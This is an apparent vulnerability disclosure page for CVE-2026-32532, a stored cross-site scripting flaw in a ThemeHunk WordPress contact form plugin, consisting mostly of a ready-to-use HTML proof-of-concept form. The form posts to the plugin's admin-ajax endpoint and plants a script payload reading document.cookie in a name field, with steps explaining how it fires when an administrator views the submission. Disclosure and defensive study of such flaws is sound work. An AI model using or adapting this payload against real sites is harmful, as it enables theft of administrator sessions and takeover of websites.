CVE-2026-32532: ThemeHunk插件存储型XSS漏洞

<!-- PoC for CVE-2026-32532 (Stored XSS) Target: Contact Form & Lead Form Elementor Builder <= 2.0.1 --> <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST"> <!-- Action parameter may vary based on plugin implementation --> <input type="hidden" name="action" value="lf_submit_form"> <!-- Vulnerable field injection --> <input type="text" name="lf_name" value=""><script>alert(document.cookie)</script>"> <input type="email" name="lf_email" value="[email protected]"> <input type="submit" value="Submit Payload"> </form> <!-- Explanation: 1. The attacker sends a POST request to the vulnerable endpoint. 2. The payload "><script>alert(document.cookie)</script> is injected into a form field. 3. The payload is saved in the database without proper sanitization. 4. When an admin views the submission in the dashboard, the script executes. -->